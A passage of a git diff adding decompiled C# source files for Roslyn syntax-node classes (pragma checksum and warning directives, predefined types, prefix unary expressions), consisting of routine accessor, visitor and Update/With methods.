postfixUnaryExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public PostfixUnaryExpressionSyntax WithOperand(ExpressionSyntax operand) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(operand, OperatorToken); + } + + public PostfixUnaryExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Operand, operatorToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaChecksumDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaChecksumDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..269893a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaChecksumDirectiveTriviaSyntax.cs @@ -0,0 +1,191 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PragmaChecksumDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken PragmaKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).pragmaKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken ChecksumKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).checksumKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken File => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).file, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public SyntaxToken Guid => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).guid, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public SyntaxToken Bytes => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).bytes, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaChecksumDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal PragmaChecksumDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPragmaChecksumDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPragmaChecksumDirectiveTrivia(this); + } + + public PragmaChecksumDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || pragmaKeyword != PragmaKeyword || checksumKeyword != ChecksumKeyword || file != File || guid != Guid || bytes != Bytes || endOfDirectiveToken != EndOfDirectiveToken) + { + PragmaChecksumDirectiveTriviaSyntax pragmaChecksumDirectiveTriviaSyntax = SyntaxFactory.PragmaChecksumDirectiveTrivia(hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return pragmaChecksumDirectiveTriviaSyntax; + } + return pragmaChecksumDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new PragmaChecksumDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, PragmaKeyword, ChecksumKeyword, File, Guid, Bytes, EndOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithPragmaKeyword(SyntaxToken pragmaKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, pragmaKeyword, ChecksumKeyword, File, Guid, Bytes, EndOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithChecksumKeyword(SyntaxToken checksumKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, checksumKeyword, File, Guid, Bytes, EndOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, ChecksumKeyword, file, Guid, Bytes, EndOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithGuid(SyntaxToken guid) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, ChecksumKeyword, File, guid, Bytes, EndOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithBytes(SyntaxToken bytes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, ChecksumKeyword, File, Guid, bytes, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new PragmaChecksumDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, ChecksumKeyword, File, Guid, Bytes, endOfDirectiveToken, IsActive); + } + + public PragmaChecksumDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, ChecksumKeyword, File, Guid, Bytes, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..d4dfbc7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningDirectiveTriviaSyntax.cs @@ -0,0 +1,200 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PragmaWarningDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + private SyntaxNode? errorCodes; + + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken PragmaKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).pragmaKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken WarningKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).warningKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken DisableOrRestoreKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).disableOrRestoreKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public SeparatedSyntaxList ErrorCodes + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref errorCodes, 4); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(4)); + } + } + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PragmaWarningDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal PragmaWarningDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 4) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref errorCodes, 4); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 4) + { + return null; + } + return errorCodes; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPragmaWarningDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPragmaWarningDirectiveTrivia(this); + } + + public PragmaWarningDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || pragmaKeyword != PragmaKeyword || warningKeyword != WarningKeyword || disableOrRestoreKeyword != DisableOrRestoreKeyword || errorCodes != ErrorCodes || endOfDirectiveToken != EndOfDirectiveToken) + { + PragmaWarningDirectiveTriviaSyntax pragmaWarningDirectiveTriviaSyntax = SyntaxFactory.PragmaWarningDirectiveTrivia(hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return pragmaWarningDirectiveTriviaSyntax; + } + return pragmaWarningDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new PragmaWarningDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, PragmaKeyword, WarningKeyword, DisableOrRestoreKeyword, ErrorCodes, EndOfDirectiveToken, IsActive); + } + + public PragmaWarningDirectiveTriviaSyntax WithPragmaKeyword(SyntaxToken pragmaKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, pragmaKeyword, WarningKeyword, DisableOrRestoreKeyword, ErrorCodes, EndOfDirectiveToken, IsActive); + } + + public PragmaWarningDirectiveTriviaSyntax WithWarningKeyword(SyntaxToken warningKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, warningKeyword, DisableOrRestoreKeyword, ErrorCodes, EndOfDirectiveToken, IsActive); + } + + public PragmaWarningDirectiveTriviaSyntax WithDisableOrRestoreKeyword(SyntaxToken disableOrRestoreKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, WarningKeyword, disableOrRestoreKeyword, ErrorCodes, EndOfDirectiveToken, IsActive); + } + + public PragmaWarningDirectiveTriviaSyntax WithErrorCodes(SeparatedSyntaxList errorCodes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, WarningKeyword, DisableOrRestoreKeyword, errorCodes, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new PragmaWarningDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, WarningKeyword, DisableOrRestoreKeyword, ErrorCodes, endOfDirectiveToken, IsActive); + } + + public PragmaWarningDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, PragmaKeyword, WarningKeyword, DisableOrRestoreKeyword, ErrorCodes, EndOfDirectiveToken, isActive); + } + + public PragmaWarningDirectiveTriviaSyntax AddErrorCodes(params ExpressionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithErrorCodes(ErrorCodes.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningState.cs new file mode 100644 index 0000000..bb9ea3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PragmaWarningState.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal enum PragmaWarningState : byte +{ + Default, + Enabled, + Disabled +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PredefinedTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PredefinedTypeSyntax.cs new file mode 100644 index 0000000..638c733 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PredefinedTypeSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PredefinedTypeSyntax : TypeSyntax +{ + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PredefinedTypeSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + internal PredefinedTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPredefinedType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPredefinedType(this); + } + + public PredefinedTypeSyntax Update(SyntaxToken keyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword) + { + PredefinedTypeSyntax predefinedTypeSyntax = SyntaxFactory.PredefinedType(keyword); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return predefinedTypeSyntax; + } + return predefinedTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public PredefinedTypeSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrefixUnaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrefixUnaryExpressionSyntax.cs new file mode 100644 index 0000000..359e8c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrefixUnaryExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PrefixUnaryExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? operand; + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PrefixUnaryExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Operand => ((SyntaxNode)this).GetRed(ref operand, 1); + + internal PrefixUnaryExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref operand, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)operand; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPrefixUnaryExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPrefixUnaryExpression(this); + } + + public PrefixUnaryExpressionSyntax Update(SyntaxToken operatorToken, ExpressionSyntax operand) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken != OperatorToken || operand != Operand) + { + PrefixUnaryExpressionSyntax prefixUnaryExpressionSyntax = SyntaxFactory.PrefixUnaryExpression(Kind(), operatorToken, operand); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return prefixUnaryExpressionSyntax; + } + return prefixUnaryExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public PrefixUnaryExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorToken, Operand); + } + + public PrefixUnaryExpressionSyntax WithOperand(ExpressionSyntax operand) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorToken, operand); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrimaryConstructorBaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrimaryConstructorBaseTypeSyntax.cs new file mode 100644 index 0000000..721eb98 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/PrimaryConstructorBaseTypeSyntax.cs @@ -0,0 +1,88 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class PrimaryConstructorBaseTypeSyntax : BaseTypeSyntax +{ + private TypeSyntax? type; + + private ArgumentListSyntax? argumentList; + + public override TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public ArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + internal PrimaryConstructorBaseTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref type), + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => type, + 1 => argumentList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPrimaryConstructorBaseType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return 